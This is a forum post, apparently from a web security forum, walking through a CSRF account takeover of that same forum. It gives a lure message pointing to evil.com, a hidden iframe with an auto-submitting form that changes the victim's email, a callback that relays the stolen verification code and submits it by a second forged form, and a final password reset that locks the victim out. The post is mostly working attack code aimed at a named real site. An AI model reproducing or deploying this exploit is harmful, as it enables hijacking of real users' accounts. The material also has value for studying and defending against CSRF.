noob: basically.. it's CSRF not XSS. (although you'll need an XSS hole as well if they use tokens)
Let's use this site as an example, since it's susceptible to it, and we both have accounts here. (sorry RSnake)
I'll be the victim. Some fictitious sexy female whose stalking me, will be the attacker. Can't say i blame her :x
First, she stealthily convinces me to visit her site while logged into sla.ckers, by sending me a private message here:
Hey maluc, check out my hawt webcam at http://evil.com/mycam.html ~ .. i'll be waiting for you baby. -wink-
Obviously, i click it.
On mycam.html there is a hidden iframe and form in the source (since it must be sent by POST):
<iframe id="POSTframe" style="visibility:hidden;height:0;width:0"></iframe>
<form target="POSTframe" name="emailchange" action="http://sla.ckers.org/forum/control.php" method="post">
<input type="hidden" name="panel" value="email" />
<input type="hidden" name="forum_id" value="2" />
<input type="hidden" name="email" value="stolen%40mailinator.com" />
<input type="hidden" name="hide_email" value="1" />
</form>
<script>document.getElementById('emailchange').submit()</script>
As soon as i go to mycam.html, my email has been requested to be changed to stolen@mailinator.com . She then opens an iframe to extract the verification code from stolen@mailinator.com. When it retrieves it, it will send it to the javascript function gotCode(code) on this page
<iframe src="http://evil.com/checkEmail.php"></iframe>
I'll leave the checkEmail.php as an exercise for you (since every email is different). It finds an email like so:
The new email-address is: stolen@mailinator.com
The confirmation code is: 5295959
Please enter the code in your profile to confirm the change:
http://sla.ckers.org/forum/control.php?2,panel=3Demail
Thanks, Web Application Security Forum
and then the checkEmail.php calls gotCode(5295959); .. gotCode then makes the victim (me) verify the new email with CSRF:
<form target="POSTframe" name="verifyemail" action="http://sla.ckers.org/forum/control.php" method="post">
<input type="hidden" name="panel" value="email" />
<input type="hidden" name="forum_id" value="2" />
<input type="hidden" name="email" value="stolen%40mailinator.com" />
<input type="hidden" name="email_verify_code" value="" />
<input type="hidden" name="hide_email" value="1" />
</form>
<script>
function gotCode(code) {
gc1 = document.getElementById('verifyemail');
gc1.email_verify_code.value = code;
gc1.submit();
}
</script>
She's now successfully changed my email address to stolen@mailinator.com .. and no longer needs my interaction. Sadly, she stops stripping for me T__T.. Now, as soon as the verifyemail is submitted, or anytime later on, she can use the 'forgot password' form on sla.ckers.org to send the new password to stolen@mailinator.com. Getting something like so:
If it was you, here is your new login for the forums.
Username: maluc
Password: snpe734
You can login to Web Application Security Forum at
http://sla.ckers.org/forum/login.php?2
She now has complete control of my account, and i'm totally locked out. And all i got was to see half a nip :T
DON'T use this on sla.ckers though :x
-maluc